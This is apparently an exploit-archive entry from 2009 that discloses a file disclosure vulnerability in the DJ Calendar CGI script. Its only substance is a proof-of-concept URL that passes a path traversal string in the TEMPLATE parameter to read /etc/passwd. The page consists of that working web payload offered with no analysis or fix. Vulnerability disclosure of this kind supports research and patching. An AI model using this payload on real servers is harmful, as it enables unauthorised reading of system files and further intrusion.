[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : DJ Calendar (DJcalendar.cgi TEMPLATE) File Disclosure Vuln
# Published : 2009-07-14
# Author : cibbao
# Previous Title : WebLeague 2.2.0 (profile.php) SQL Injection Vulnerability
# Next Title : Mobilelib Gold v3 Local File Disclosure Vulnerability


Discovered by cibbao

PoC:

/cgi-bin/DJcalendar.cgi?TEMPLATE=/../../../../../../../etc/passwd

# www.Syue.com [2009-07-14]